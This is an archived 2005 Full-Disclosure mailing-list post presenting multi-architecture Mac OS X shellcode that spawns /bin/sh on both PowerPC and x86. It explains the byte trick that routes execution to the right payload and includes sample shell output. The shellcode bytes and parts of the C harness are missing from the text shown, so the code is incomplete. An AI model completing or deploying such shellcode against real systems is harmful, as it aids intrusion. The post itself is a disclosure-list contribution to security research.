[Full-disclosure] OSX - Multi arch shellcode.

Date: 11/14/05

  • Next message: Peter Harvey: "[Full-disclosure] Phishing attack. Basic encoding"
    Date: Sun, 13 Nov 2005 23:23:33 +0000
    To: full-disclosure@lists.grok.org.uk

    Hey Guys,

    I was recently playing with the osx86 install on my friends developer

    I have written some shellcode which will work on Mac OS X running on
    both ppc32 and x86 architecture.


    - nemo

    Need a challenge? -( http://www.pulltheplug.org )-

    --------------------// CODE //--------------------
     * -[ dual.c ]-
     * by nemo@felinemenace.org
     * execve("/bin/sh",{"/bin/sh",NULL},NULL) shellcode
     * for osx (both the ppc and x86 version.)
     * Sample output:
     * -[nemo@squee:~/shellcode]$ file dual-ppc
     * dual-ppc: Mach-O executable ppc
     * -[nemo@squee:~/shellcode]$ ./dual-ppc
     * sh-2.05b$ exit
     * -[nemo@squee:~/shellcode]$ file dual-x86
     * dual-x86: Mach-O executable i386
     * -[nemo@squee:~/shellcode]$ ./dual-x86
     * sh-2.05b$ exit

    char dual[] =
    // These four bytes work out to the following instruction
    // in ppc arch: "rlwnm r16,r28,r29,13,4", which will
    // basically do nothing on osx/ppc.
    // However on x86 architecture the four bytes are 3
    // instructions:
    // "push/nop/jmp"
    // In this way, execution will be taken to the x86 shellcode
    // on an x86 machine, and the ppc shellcode when running
    // on a ppc architecture machine.

    // ppc execve() code by b-r00t

    // osx86 execve() code by nemo

    int main(int ac, char **av)
            void (*fp)() = dual;

    Full-Disclosure - We believe in it.
    Charter: http://lists.grok.org.uk/full-disclosure-charter.html
    Hosted and sponsored by Secunia - http://secunia.com/

  • Next message: Peter Harvey: "[Full-disclosure] Phishing attack. Basic encoding"

    Relevant Pages

    • Re: : Welcome to lockdown - HP limiting access to patches
      ... had hoped going x86 would change that. ... Of course it did not "go under because it was on PPC". ... OS/2 Warp 4 appeared 1996, so IBM still invested in the product, ... but one can't do marketing against the market. ...
    • Re: State of MorphOS?
      ... Given Apple's recent announcement of moving Macs to Intel, and IBM more interested in supplying low cost PPC chips to all three major game console vendors, I hate to say it, but MorphOS developers would probably do well to *seriously* consider moving to either x86 or possibly IBM's Cell architecture. ... It is a shame however, as the architecture still holds a lot of promise, but IBM isn't willing to invest the R&D to scale it up, nor is Apple, and Freescale just doesn't have IBM's resources to do the same either in any timeframe that will keep it competitive with AMD or Intel's roadmaps. ... do a multicore variant of AMD's x86with a PPC core thrown in. ...
    • Re: shellcode -> asm?
      ... Many people have proported to be able to go from the hex of the shellcode ... biggest difficulties I had is (specifically on x86) basically demonstrated ...
    • Re: Two Click disassembly/reassembly
      ... not take full advantage of the unique elements of the PPC architecture, ... This is standard assembly language programming stuff we're talking ... part of the programmer. ... translation of x86 code to PPC just isn't going to be very good. ...
    • Re: Another Mirror Of PCCBBS
      ... PPC code into x86 opcode and then executing natively. ... I'm sure Apple has had this migration in mind for a long time, or else they wouldn't have been running OS X internally on Intel machines since the start. ... There is a new binary format called a "Fat Binary" that contains both PPC and x86 code, ...